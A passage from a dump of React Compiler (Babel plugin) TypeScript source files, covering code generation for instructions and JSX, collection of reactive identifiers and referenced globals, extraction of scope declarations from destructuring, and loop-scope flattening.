codegenPlaceToExpression(cx, instrValue.object),\n          t.numericLiteral(instrValue.property),\n          true,\n        );\n      }\n      if (instrValue.kind === 'PropertyStore') {\n        value = t.assignmentExpression(\n          '=',\n          memberExpr,\n          codegenPlaceToExpression(cx, instrValue.value),\n        );\n      } else if (instrValue.kind === 'PropertyLoad') {\n        value = memberExpr;\n      } else {\n        value = t.unaryExpression('delete', memberExpr);\n      }\n      break;\n    }\n    case 'ComputedStore': {\n      value = t.assignmentExpression(\n        '=',\n        t.memberExpression(\n          codegenPlaceToExpression(cx, instrValue.object),\n          codegenPlaceToExpression(cx, instrValue.property),\n          true,\n        ),\n        codegenPlaceToExpression(cx, instrValue.value),\n      );\n      break;\n    }\n    case 'ComputedLoad': {\n      const object = codegenPlaceToExpression(cx, instrValue.object);\n      const property = codegenPlaceToExpression(cx, instrValue.property);\n      value = t.memberExpression(object, property, true);\n      break;\n    }\n    case 'ComputedDelete': {\n      value = t.unaryExpression(\n        'delete',\n        t.memberExpression(\n          codegenPlaceToExpression(cx, instrValue.object),\n          codegenPlaceToExpression(cx, instrValue.property),\n          true,\n        ),\n      );\n      break;\n    }\n    case 'LoadLocal':\n    case 'LoadContext': {\n      value = codegenPlaceToExpression(cx, instrValue.place);\n      break;\n    }\n    case 'FunctionExpression': {\n      const loweredFunc = instrValue.loweredFunc.func;\n      const reactiveFunction = buildReactiveFunction(loweredFunc);\n      pruneUnusedLabels(reactiveFunction);\n      pruneUnusedLValues(reactiveFunction);\n      pruneHoistedContexts(reactiveFunction);\n      const fn = codegenReactiveFunction(\n        new Context(\n          cx.env,\n          reactiveFunction.id ?? '[[ anonymous ]]',\n          cx.uniqueIdentifiers,\n          cx.fbtOperands,\n          cx.temp,\n        ),\n        reactiveFunction,\n      );\n\n      if (instrValue.type === 'ArrowFunctionExpression') {\n        let body: t.BlockStatement | t.Expression = fn.body;\n        if (body.body.length === 1 && loweredFunc.directives.length == 0) {\n          const stmt = body.body[0]!;\n          if (stmt.type === 'ReturnStatement' && stmt.argument != null) {\n            body = stmt.argument;\n          }\n        }\n        value = t.arrowFunctionExpression(fn.params, body, fn.async);\n      } else {\n        value = t.functionExpression(\n          instrValue.name != null ? t.identifier(instrValue.name) : null,\n          fn.params,\n          fn.body,\n          fn.generator,\n          fn.async,\n        );\n      }\n      if (\n        cx.env.config.enableNameAnonymousFunctions &&\n        instrValue.name == null &&\n        instrValue.nameHint != null\n      ) {\n        const name = instrValue.nameHint;\n        value = t.memberExpression(\n          t.objectExpression([t.objectProperty(t.stringLiteral(name), value)]),\n          t.stringLiteral(name),\n          true,\n          false,\n        );\n      }\n      break;\n    }\n    case 'TaggedTemplateExpression': {\n      value = createTaggedTemplateExpression(\n        instrValue.loc,\n        codegenPlaceToExpression(cx, instrValue.tag),\n        t.templateLiteral([t.templateElement(instrValue.value)], []),\n      );\n      break;\n    }\n    case 'TypeCastExpression': {\n      if (t.isTSType(instrValue.typeAnnotation)) {\n        if (instrValue.typeAnnotationKind === 'satisfies') {\n          value = t.tsSatisfiesExpression(\n            codegenPlaceToExpression(cx, instrValue.value),\n            instrValue.typeAnnotation,\n          );\n        } else {\n          value = t.tsAsExpression(\n            codegenPlaceToExpression(cx, instrValue.value),\n            instrValue.typeAnnotation,\n          );\n        }\n      } else {\n        value = t.typeCastExpression(\n          codegenPlaceToExpression(cx, instrValue.value),\n          t.typeAnnotation(instrValue.typeAnnotation),\n        );\n      }\n      break;\n    }\n    case 'LogicalExpression': {\n      value = createLogicalExpression(\n        instrValue.loc,\n        instrValue.operator,\n        codegenInstructionValueToExpression(cx, instrValue.left),\n        codegenInstructionValueToExpression(cx, instrValue.right),\n      );\n      break;\n    }\n    case 'ConditionalExpression': {\n      value = createConditionalExpression(\n        instrValue.loc,\n        codegenInstructionValueToExpression(cx, instrValue.test),\n        codegenInstructionValueToExpression(cx, instrValue.consequent),\n        codegenInstructionValueToExpression(cx, instrValue.alternate),\n      );\n      break;\n    }\n    case 'SequenceExpression': {\n      const body = codegenBlockNoReset(\n        cx,\n        instrValue.instructions.map(instruction => ({\n          kind: 'instruction',\n          instruction,\n        })),\n      ).body;\n      const expressions = body.map(stmt => {\n        if (stmt.type === 'ExpressionStatement') {\n          return stmt.expression;\n        } else {\n          if (t.isVariableDeclaration(stmt)) {\n            const declarator = stmt.declarations[0];\n            cx.recordError(\n              new CompilerErrorDetail({\n                reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${\n                  (declarator.id as t.Identifier).name\n                }'`,\n                category: ErrorCategory.Todo,\n                loc: declarator.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            return t.stringLiteral(`TODO handle ${declarator.id}`);\n          } else {\n            cx.recordError(\n              new CompilerErrorDetail({\n                reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,\n                category: ErrorCategory.Todo,\n                loc: stmt.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            return t.stringLiteral(`TODO handle ${stmt.type}`);\n          }\n        }\n      });\n      if (expressions.length === 0) {\n        value = codegenInstructionValueToExpression(cx, instrValue.value);\n      } else {\n        value = createSequenceExpression(instrValue.loc, [\n          ...expressions,\n          codegenInstructionValueToExpression(cx, instrValue.value),\n        ]);\n      }\n      break;\n    }\n    case 'TemplateLiteral': {\n      value = createTemplateLiteral(\n        instrValue.loc,\n        instrValue.quasis.map(q => t.templateElement(q)),\n        instrValue.subexprs.map(p => codegenPlaceToExpression(cx, p)),\n      );\n      break;\n    }\n    case 'LoadGlobal': {\n      value = t.identifier(instrValue.binding.name);\n      break;\n    }\n    case 'RegExpLiteral': {\n      value = t.regExpLiteral(instrValue.pattern, instrValue.flags);\n      break;\n    }\n    case 'MetaProperty': {\n      value = t.metaProperty(\n        t.identifier(instrValue.meta),\n        t.identifier(instrValue.property),\n      );\n      break;\n    }\n    case 'Await': {\n      value = t.awaitExpression(codegenPlaceToExpression(cx, instrValue.value));\n      break;\n    }\n    case 'GetIterator': {\n      value = codegenPlaceToExpression(cx, instrValue.collection);\n      break;\n    }\n    case 'IteratorNext': {\n      value = codegenPlaceToExpression(cx, instrValue.iterator);\n      break;\n    }\n    case 'NextPropertyOf': {\n      value = codegenPlaceToExpression(cx, instrValue.value);\n      break;\n    }\n    case 'PostfixUpdate': {\n      value = t.updateExpression(\n        instrValue.operation,\n        codegenPlaceToExpression(cx, instrValue.lvalue),\n        false,\n      );\n      break;\n    }\n    case 'PrefixUpdate': {\n      value = t.updateExpression(\n        instrValue.operation,\n        codegenPlaceToExpression(cx, instrValue.lvalue),\n        true,\n      );\n      break;\n    }\n    case 'StoreLocal': {\n      CompilerError.invariant(\n        instrValue.lvalue.kind === InstructionKind.Reassign,\n        {\n          reason: `Unexpected StoreLocal in codegenInstructionValue`,\n          loc: instrValue.loc,\n        },\n      );\n      value = t.assignmentExpression(\n        '=',\n        codegenLValue(cx, instrValue.lvalue.place),\n        codegenPlaceToExpression(cx, instrValue.value),\n      );\n      break;\n    }\n    case 'StoreGlobal': {\n      value = t.assignmentExpression(\n        '=',\n        t.identifier(instrValue.name),\n        codegenPlaceToExpression(cx, instrValue.value),\n      );\n      break;\n    }\n    case 'StartMemoize':\n    case 'FinishMemoize':\n    case 'Debugger':\n    case 'DeclareLocal':\n    case 'DeclareContext':\n    case 'Destructure':\n    case 'ObjectMethod':\n    case 'StoreContext': {\n      CompilerError.invariant(false, {\n        reason: `Unexpected ${instrValue.kind} in codegenInstructionValue`,\n        loc: instrValue.loc,\n      });\n    }\n    default: {\n      assertExhaustive(\n        instrValue,\n        `Unexpected instruction value kind \\`${(instrValue as any).kind}\\``,\n      );\n    }\n  }\n  if (instrValue.loc != null && instrValue.loc != GeneratedSource) {\n    value.loc = instrValue.loc;\n  }\n  return value;\n}\n\n/**\n * Due to a bug in earlier Babel versions, JSX string attributes with double quotes, unicode characters, or special\n * control characters such as \\n may be escaped unnecessarily. To avoid trigger this Babel bug, we use a\n * JsxExpressionContainer for such strings.\n *\n * u0000 to u001F: C0 control codes\n * u007F         : Delete character\n * u0080 to u009F: C1 control codes\n * u00A0 to uFFFF: All non-basic Latin characters\n * https://en.wikipedia.org/wiki/List_of_Unicode_characters#Control_codes\n *\n * u010000 to u10FFFF: Astral plane characters\n * https://mathiasbynens.be/notes/javascript-unicode\n */\nconst STRING_REQUIRES_EXPR_CONTAINER_PATTERN =\n  /[\\u{0000}-\\u{001F}\\u{007F}\\u{0080}-\\u{FFFF}\\u{010000}-\\u{10FFFF}]|\"|\\\\/u;\nfunction codegenJsxAttribute(\n  cx: Context,\n  attribute: JsxAttribute,\n): t.JSXAttribute | t.JSXSpreadAttribute {\n  switch (attribute.kind) {\n    case 'JsxAttribute': {\n      let propName: t.JSXIdentifier | t.JSXNamespacedName;\n      if (attribute.name.indexOf(':') === -1) {\n        propName = createJsxIdentifier(attribute.place.loc, attribute.name);\n      } else {\n        const [namespace, name] = attribute.name.split(':', 2);\n        propName = createJsxNamespacedName(\n          attribute.place.loc,\n          createJsxIdentifier(attribute.place.loc, namespace),\n          createJsxIdentifier(attribute.place.loc, name),\n        );\n      }\n      const innerValue = codegenPlaceToExpression(cx, attribute.place);\n      let value;\n      switch (innerValue.type) {\n        case 'StringLiteral': {\n          value = innerValue;\n          if (\n            STRING_REQUIRES_EXPR_CONTAINER_PATTERN.test(value.value) &&\n            !cx.fbtOperands.has(attribute.place.identifier.id)\n          ) {\n            value = createJsxExpressionContainer(value.loc, value);\n          }\n          break;\n        }\n        default: {\n          /*\n           * NOTE JSXFragment is technically allowed as an attribute value per the spec\n           * but many tools do not support this case. We emit fragments wrapped in an\n           * expression container for compatibility purposes.\n           * spec: https://github.com/facebook/jsx/blob/main/AST.md#jsx-attributes\n           */\n          value = createJsxExpressionContainer(attribute.place.loc, innerValue);\n          break;\n        }\n      }\n      return createJsxAttribute(attribute.place.loc, propName, value);\n    }\n    case 'JsxSpreadAttribute': {\n      return t.jsxSpreadAttribute(\n        codegenPlaceToExpression(cx, attribute.argument),\n      );\n    }\n    default: {\n      assertExhaustive(\n        attribute,\n        `Unexpected attribute kind \\`${(attribute as any).kind}\\``,\n      );\n    }\n  }\n}\n\nconst JSX_TEXT_CHILD_REQUIRES_EXPR_CONTAINER_PATTERN = /[<>&{}]/;\nfunction codegenJsxElement(\n  cx: Context,\n  place: Place,\n):\n  | t.JSXText\n  | t.JSXExpressionContainer\n  | t.JSXSpreadChild\n  | t.JSXElement\n  | t.JSXFragment {\n  const value = codegenPlace(cx, place);\n  switch (value.type) {\n    case 'JSXText': {\n      if (JSX_TEXT_CHILD_REQUIRES_EXPR_CONTAINER_PATTERN.test(value.value)) {\n        return createJsxExpressionContainer(\n          place.loc,\n          createStringLiteral(place.loc, value.value),\n        );\n      }\n      return createJsxText(place.loc, value.value);\n    }\n    case 'JSXElement':\n    case 'JSXFragment': {\n      return value;\n    }\n    default: {\n      return createJsxExpressionContainer(place.loc, value);\n    }\n  }\n}\n\nfunction codegenJsxFbtChildElement(\n  cx: Context,\n  place: Place,\n):\n  | t.JSXText\n  | t.JSXExpressionContainer\n  | t.JSXSpreadChild\n  | t.JSXElement\n  | t.JSXFragment {\n  const value = codegenPlace(cx, place);\n  switch (value.type) {\n    // fbt:param only allows JSX element or expression container as children\n    case 'JSXText':\n    case 'JSXElement': {\n      return value;\n    }\n    default: {\n      return createJsxExpressionContainer(place.loc, value);\n    }\n  }\n}\n\nfunction convertMemberExpressionToJsx(\n  expr: t.MemberExpression,\n): t.JSXMemberExpression {\n  CompilerError.invariant(expr.property.type === 'Identifier', {\n    reason: 'Expected JSX member expression property to be a string',\n    loc: expr.loc ?? GeneratedSource,\n  });\n  const property = t.jsxIdentifier(expr.property.name);\n  if (expr.object.type === 'Identifier') {\n    return t.jsxMemberExpression(t.jsxIdentifier(expr.object.name), property);\n  } else {\n    CompilerError.invariant(expr.object.type === 'MemberExpression', {\n      reason:\n        'Expected JSX member expression to be an identifier or nested member expression',\n      loc: expr.object.loc ?? GeneratedSource,\n    });\n    const object = convertMemberExpressionToJsx(expr.object);\n    return t.jsxMemberExpression(object, property);\n  }\n}\n\nfunction codegenObjectPropertyKey(\n  cx: Context,\n  key: ObjectPropertyKey,\n): t.Expression {\n  switch (key.kind) {\n    case 'string': {\n      return t.stringLiteral(key.name);\n    }\n    case 'identifier': {\n      return t.identifier(key.name);\n    }\n    case 'computed': {\n      const expr = codegenPlace(cx, key.name);\n      CompilerError.invariant(t.isExpression(expr), {\n        reason: 'Expected object property key to be an expression',\n        loc: key.name.loc,\n      });\n      return expr;\n    }\n    case 'number': {\n      return t.numericLiteral(key.name);\n    }\n  }\n}\n\nfunction codegenArrayPattern(\n  cx: Context,\n  pattern: ArrayPattern,\n): t.ArrayPattern {\n  const hasHoles = !pattern.items.every(e => e.kind !== 'Hole');\n  if (hasHoles) {\n    const result = createArrayPattern(pattern.loc, []);\n    /*\n     * Older versions of babel have a validation bug fixed by\n     * https://github.com/babel/babel/pull/10917\n     * https://github.com/babel/babel/commit/e7b80a2cb93cf28010207fc3cdd19b4568ca35b9#diff-19b555d2f3904c206af406540d9df200b1e16befedb83ff39ebfcbd876f7fa8aL52\n     *\n     * Link to buggy older version (observe that elements must be PatternLikes here)\n     * https://github.com/babel/babel/blob/v7.7.4/packages/babel-types/src/definitions/es2015.js#L50-L53\n     *\n     * Link to newer versions with correct validation (observe elements can be PatternLike | null)\n     * https://github.com/babel/babel/blob/v7.23.0/packages/babel-types/src/definitions/core.ts#L1306-L1311\n     */\n    for (const item of pattern.items) {\n      if (item.kind === 'Hole') {\n        result.elements.push(null);\n      } else {\n        result.elements.push(codegenLValue(cx, item));\n      }\n    }\n    return result;\n  } else {\n    return createArrayPattern(\n      pattern.loc,\n      pattern.items.map(item => {\n        if (item.kind === 'Hole') {\n          return null;\n        }\n        return codegenLValue(cx, item);\n      }),\n    );\n  }\n}\n\nfunction codegenLValue(\n  cx: Context,\n  pattern: Pattern | Place | SpreadPattern,\n): t.ArrayPattern | t.ObjectPattern | t.RestElement | t.Identifier {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      return codegenArrayPattern(cx, pattern);\n    }\n    case 'ObjectPattern': {\n      return createObjectPattern(\n        pattern.loc,\n        pattern.properties.map(property => {\n          if (property.kind === 'ObjectProperty') {\n            const key = codegenObjectPropertyKey(cx, property.key);\n            const value = codegenLValue(cx, property.place);\n            return t.objectProperty(\n              key,\n              value,\n              property.key.kind === 'computed',\n              key.type === 'Identifier' &&\n                value.type === 'Identifier' &&\n                value.name === key.name,\n            );\n          } else {\n            return t.restElement(codegenLValue(cx, property.place));\n          }\n        }),\n      );\n    }\n    case 'Spread': {\n      return t.restElement(codegenLValue(cx, pattern.place));\n    }\n    case 'Identifier': {\n      return convertIdentifier(pattern.identifier);\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n}\n\nfunction codegenValue(\n  cx: Context,\n  loc: SourceLocation,\n  value: boolean | number | string | null | undefined,\n): t.Expression {\n  if (typeof value === 'number') {\n    if (value < 0) {\n      /**\n       * Babel's code generator produces invalid JS for negative numbers when\n       * run with { compact: true }.\n       * See repro https://codesandbox.io/p/devbox/5d47fr\n       */\n      return t.unaryExpression('-', t.numericLiteral(-value), false);\n    } else {\n      return t.numericLiteral(value);\n    }\n  } else if (typeof value === 'boolean') {\n    return t.booleanLiteral(value);\n  } else if (typeof value === 'string') {\n    return createStringLiteral(loc, value);\n  } else if (value === null) {\n    return t.nullLiteral();\n  } else if (value === undefined) {\n    return t.identifier('undefined');\n  } else {\n    assertExhaustive(value, 'Unexpected primitive value kind');\n  }\n}\n\nfunction codegenArgument(\n  cx: Context,\n  arg: Place | SpreadPattern,\n): t.Expression | t.SpreadElement {\n  if (arg.kind === 'Identifier') {\n    return codegenPlaceToExpression(cx, arg);\n  } else {\n    return t.spreadElement(codegenPlaceToExpression(cx, arg.place));\n  }\n}\n\nfunction codegenPlaceToExpression(cx: Context, place: Place): t.Expression {\n  const value = codegenPlace(cx, place);\n  return convertValueToExpression(value);\n}\n\nfunction codegenPlace(cx: Context, place: Place): t.Expression | t.JSXText {\n  let tmp = cx.temp.get(place.identifier.declarationId);\n  if (tmp != null) {\n    return tmp;\n  }\n  CompilerError.invariant(place.identifier.name !== null || tmp !== undefined, {\n    reason: `[Codegen] No value found for temporary`,\n    description: `Value for '${printPlace(\n      place,\n    )}' was not set in the codegen context`,\n    loc: place.loc,\n  });\n  const identifier = convertIdentifier(place.identifier);\n  identifier.loc = place.loc as any;\n  return identifier;\n}\n\nfunction convertIdentifier(identifier: Identifier): t.Identifier {\n  CompilerError.invariant(\n    identifier.name !== null && identifier.name.kind === 'named',\n    {\n      reason: `Expected temporaries to be promoted to named identifiers in an earlier pass`,\n      description: `identifier ${identifier.id} is unnamed`,\n      loc: GeneratedSource,\n    },\n  );\n  return createIdentifier(identifier.loc, identifier.name.value);\n}\n\nfunction compareScopeDependency(\n  a: ReactiveScopeDependency,\n  b: ReactiveScopeDependency,\n): number {\n  CompilerError.invariant(\n    a.identifier.name?.kind === 'named' && b.identifier.name?.kind === 'named',\n    {\n      reason: '[Codegen] Expected named identifier for dependency',\n      loc: a.identifier.loc,\n    },\n  );\n  const aName = [\n    a.identifier.name.value,\n    ...a.path.map(entry => `${entry.optional ? '?' : ''}${entry.property}`),\n  ].join('.');\n  const bName = [\n    b.identifier.name.value,\n    ...b.path.map(entry => `${entry.optional ? '?' : ''}${entry.property}`),\n  ].join('.');\n  if (aName < bName) return -1;\n  else if (aName > bName) return 1;\n  else return 0;\n}\n\nfunction compareScopeDeclaration(\n  a: ReactiveScopeDeclaration,\n  b: ReactiveScopeDeclaration,\n): number {\n  CompilerError.invariant(\n    a.identifier.name?.kind === 'named' && b.identifier.name?.kind === 'named',\n    {\n      reason: '[Codegen] Expected named identifier for declaration',\n      loc: a.identifier.loc,\n    },\n  );\n  const aName = a.identifier.name.value;\n  const bName = b.identifier.name.value;\n  if (aName < bName) return -1;\n  else if (aName > bName) return 1;\n  else return 0;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReactiveIdentifiers.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  IdentifierId,\n  InstructionId,\n  Place,\n  PrunedReactiveScopeBlock,\n  ReactiveFunction,\n  isPrimitiveType,\n  isUseRefType,\n  Identifier,\n} from '../HIR/HIR';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\nclass Visitor extends ReactiveFunctionVisitor<Set<IdentifierId>> {\n  /*\n   * Visitors don't visit lvalues as places by default, but we want to visit all places to\n   * check for reactivity\n   */\n  override visitLValue(\n    id: InstructionId,\n    lvalue: Place,\n    state: Set<IdentifierId>,\n  ): void {\n    this.visitPlace(id, lvalue, state);\n  }\n\n  /*\n   * This visitor only infers data dependencies and does not account for control dependencies\n   * where a variable may be assigned a different value based on some conditional, eg via two\n   * different paths of an if statement.\n   */\n  override visitPlace(\n    _id: InstructionId,\n    place: Place,\n    state: Set<IdentifierId>,\n  ): void {\n    if (place.reactive) {\n      state.add(place.identifier.id);\n    }\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: Set<IdentifierId>,\n  ): void {\n    this.traversePrunedScope(scopeBlock, state);\n\n    for (const [id, decl] of scopeBlock.scope.declarations) {\n      if (\n        !isPrimitiveType(decl.identifier) &&\n        !isStableRefType(decl.identifier, state)\n      ) {\n        state.add(id);\n      }\n    }\n  }\n}\nfunction isStableRefType(\n  identifier: Identifier,\n  reactiveIdentifiers: Set<IdentifierId>,\n): boolean {\n  return isUseRefType(identifier) && !reactiveIdentifiers.has(identifier.id);\n}\n/*\n * Computes a set of identifiers which are reactive, using the analysis previously performed\n * in `InferReactivePlaces`.\n */\nexport function collectReactiveIdentifiers(\n  fn: ReactiveFunction,\n): Set<IdentifierId> {\n  const visitor = new Visitor();\n  const state = new Set<IdentifierId>();\n  visitReactiveFunction(fn, visitor, state);\n\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CollectReferencedGlobals.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {visitReactiveFunction} from '.';\nimport {InstructionId, Place, ReactiveFunction, ReactiveValue} from '../HIR';\nimport {ReactiveFunctionVisitor} from './visitors';\n\n/**\n * Returns a set of unique globals (by name) that are referenced transitively within the function.\n */\nexport function collectReferencedGlobals(fn: ReactiveFunction): Set<string> {\n  const identifiers = new Set<string>();\n  visitReactiveFunction(fn, new Visitor(), identifiers);\n  return identifiers;\n}\n\nclass Visitor extends ReactiveFunctionVisitor<Set<string>> {\n  override visitValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: Set<string>,\n  ): void {\n    this.traverseValue(id, value, state);\n    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {\n      this.visitHirFunction(value.loweredFunc.func, state);\n    } else if (value.kind === 'LoadGlobal') {\n      state.add(value.binding.name);\n    }\n  }\n\n  override visitReactiveFunctionValue(\n    _id: InstructionId,\n    _dependencies: Array<Place>,\n    fn: ReactiveFunction,\n    state: Set<string>,\n  ): void {\n    visitReactiveFunction(fn, this, state);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/ExtractScopeDeclarationsFromDestructuring.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  DeclarationId,\n  Destructure,\n  Environment,\n  IdentifierId,\n  InstructionKind,\n  Place,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n  promoteTemporary,\n} from '../HIR';\nimport {clonePlaceToTemporary} from '../HIR/HIRBuilder';\nimport {\n  eachInstructionLValueWithKind,\n  eachPatternOperand,\n  mapPatternOperands,\n} from '../HIR/visitors';\nimport {\n  ReactiveFunctionTransform,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n/*\n * Destructuring statements may sometimes define some variables which are declared by the scope,\n * and others that are only used locally within the scope, for example:\n *\n * ```\n * const {x, ...rest} = value;\n * return rest;\n * ```\n *\n * Here the scope structure turns into:\n *\n * ```\n * let c_0 = $[0] !== value;\n * let rest;\n * if (c_0) {\n *    // OOPS! we want to reassign `rest` here, but\n *    // `x` isn't declared anywhere!\n *    {x, ...rest} = value;\n *    $[0] = value;\n *    $[1] = rest;\n * } else {\n *    rest = $[1];\n * }\n * return rest;\n * ```\n *\n * Note that because `rest` is declared by the scope, we can't redeclare it in the\n * destructuring statement. But we have to declare `x`!\n *\n * This pass finds destructuring instructions that contain mixed values such as this,\n * and rewrites them to ensure that any scope variable assignments are extracted first\n * to a temporary and reassigned in a separate instruction. For example, the output\n * for the above would be along the lines of:\n *\n * ```\n * let c_0 = $[0] !== value;\n * let rest;\n * if (c_0) {\n *    const {x, ...t0} = value; <-- replace `rest` with a temporary\n *    rest = t0; // <-- and create a separate instruction to assign that to `rest`\n *    $[0] = value;\n *    $[1] = rest;\n * } else {\n *    rest = $[1];\n * }\n * return rest;\n * ```\n *\n */\nexport function extractScopeDeclarationsFromDestructuring(\n  fn: ReactiveFunction,\n): void {\n  const state = new State(fn.env);\n  for (const param of fn.params) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    state.declared.add(place.identifier.declarationId);\n  }\n  visitReactiveFunction(fn, new Visitor(), state);\n}\n\nclass State {\n  env: Environment;\n  /**\n   * We need to track which program variables are already declared to convert\n   * declarations into reassignments, so we use DeclarationId\n   */\n  declared: Set<DeclarationId> = new Set();\n\n  constructor(env: Environment) {\n    this.env = env;\n  }\n}\n\nclass Visitor extends ReactiveFunctionTransform<State> {\n  override visitScope(scope: ReactiveScopeBlock, state: State): void {\n    for (const [, declaration] of scope.scope.declarations) {\n      state.declared.add(declaration.identifier.declarationId);\n    }\n    this.traverseScope(scope, state);\n  }\n\n  override transformInstruction(\n    instruction: ReactiveInstruction,\n    state: State,\n  ): Transformed<ReactiveStatement> {\n    this.visitInstruction(instruction, state);\n\n    let instructionsToProcess: Array<ReactiveInstruction> = [instruction];\n    let result: Transformed<ReactiveStatement> = {kind: 'keep'};\n\n    if (instruction.value.kind === 'Destructure') {\n      const transformed = transformDestructuring(\n        state,\n        instruction,\n        instruction.value,\n      );\n      if (transformed) {\n        instructionsToProcess = transformed;\n        result = {\n          kind: 'replace-many',\n          value: transformed.map(instruction => ({\n            kind: 'instruction',\n            instruction,\n          })),\n        };\n      }\n    }\n\n    // Update state.declared with declarations from the instruction(s)\n    for (const instr of instructionsToProcess) {\n      for (const [place, kind] of eachInstructionLValueWithKind(instr)) {\n        if (kind !== InstructionKind.Reassign) {\n          state.declared.add(place.identifier.declarationId);\n        }\n      }\n    }\n\n    return result;\n  }\n}\n\nfunction transformDestructuring(\n  state: State,\n  instr: ReactiveInstruction,\n  destructure: Destructure,\n): null | Array<ReactiveInstruction> {\n  let reassigned: Set<IdentifierId> = new Set();\n  let hasDeclaration = false;\n  for (const place of eachPatternOperand(destructure.lvalue.pattern)) {\n    const isDeclared = state.declared.has(place.identifier.declarationId);\n    if (isDeclared) {\n      reassigned.add(place.identifier.id);\n    } else {\n      hasDeclaration = true;\n    }\n  }\n  if (!hasDeclaration) {\n    // all reassignments\n    destructure.lvalue.kind = InstructionKind.Reassign;\n    return null;\n  }\n  /*\n   * Else it's a mix, replace the reassigned items in the destructuring with temporary\n   * variables and emit separate assignment statements for them\n   */\n  const instructions: Array<ReactiveInstruction> = [];\n  const renamed: Map<Place, Place> = new Map();\n  mapPatternOperands(destructure.lvalue.pattern, place => {\n    if (!reassigned.has(place.identifier.id)) {\n      return place;\n    }\n    const temporary = clonePlaceToTemporary(state.env, place);\n    promoteTemporary(temporary.identifier);\n    renamed.set(place, temporary);\n    return temporary;\n  });\n  instructions.push(instr);\n  for (const [original, temporary] of renamed) {\n    instructions.push({\n      id: instr.id,\n      lvalue: null,\n      value: {\n        kind: 'StoreLocal',\n        lvalue: {\n          kind: InstructionKind.Reassign,\n          place: original,\n        },\n        value: temporary,\n        type: null,\n        loc: destructure.loc,\n      },\n      loc: instr.loc,\n    });\n  }\n  return instructions;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoopsHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {BlockId, HIRFunction, PrunedScopeTerminal} from '../HIR';\nimport {assertExhaustive, retainWhere} from '../Utils/utils';\n\n/**\n * Prunes any reactive scopes that are within a loop (for, while, etc). We don't yet\n * support memoization within loops because this would require an extra layer of reconciliation\n * (plus a way to identify values across runs, similar to how we use `key` in JSX for lists).\n * Eventually we may integrate more deeply into the runtime so that we can do a single level\n * of reconciliation, but for now we've found it's sufficient to memoize *around* the loop.\n */\nexport function flattenReactiveLoopsHIR(fn: HIRFunction): void {\n  const activeLoops = Array<BlockId>();\n  for (const [, block] of fn.body.blocks) {\n    retainWhere(activeLoops, id => id !== block.id);\n    const {terminal} = block;\n    switch (terminal.kind) {\n      case 'do-while':\n      case 'for':\n      case 'for-in':\n      case 'for-of':\n      case 'while': {\n        activeLoops.push(terminal.fallthrough);\n        break;\n      }\n      case 'scope': {\n        if (activeLoops.length !== 0) {\n          block.terminal = {\n            kind: 'pruned-scope',\n            block: terminal.block,\n            fallthrough: terminal.fallthrough,\n            id: terminal.id,\n            loc: terminal.loc,\n            scope: terminal.scope,\n          } as PrunedScopeTerminal;\n        }\n        break;\n      }\n      case 'branch':\n      case 'goto':\n      case 'if':\n      case 'label':\n      case 'logical':\n      case 'maybe-throw':\n      case 'optional':\n      case 'pruned-scope':\n      case 'return':\n      case 'sequence':\n      case 'switch':\n      case 'ternary':\n      case 'throw':\n      case 'try':\n      case 'unreachable':\n      case 'unsupported': {\n        break;\n      }\n      default: {\n        assertExhaustive(\n          terminal,\n          `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  BlockId,\n  HIRFunction,\n  LabelTerminal,\n  PrunedScopeTerminal,\n  getHookKind,\n  isUseOperator,\n} from '../HIR';\nimport {retainWhere} from '../Utils/utils';\n\n/**\n * For simplicity the majority of compiler passes do not treat hooks specially. However, hooks are different\n * from regular functions in two key ways:\n * - They can introduce reactivity even when their arguments are non-reactive (accounted for in InferReactivePlaces)\n * - They cannot be called conditionally\n *\n * The `use` operator is similar:\n * - It can access context, and therefore introduce reactivity\n * - It can be called conditionally, but _it must be called if the component needs the return value_. This is because\n *   React uses the fact that use was called to remember that the component needs the value, and that changes to the\n *   input should invalidate the component itself.\n *\n * This pass accounts for the \"can't call conditionally\" aspect of both hooks and use. Though the reasoning is slightly\n * different for reach, the result is that we can't memoize scopes that call hooks or use since this would make them\n * called conditionally in the output.\n *\n * The pass finds and removes any scopes 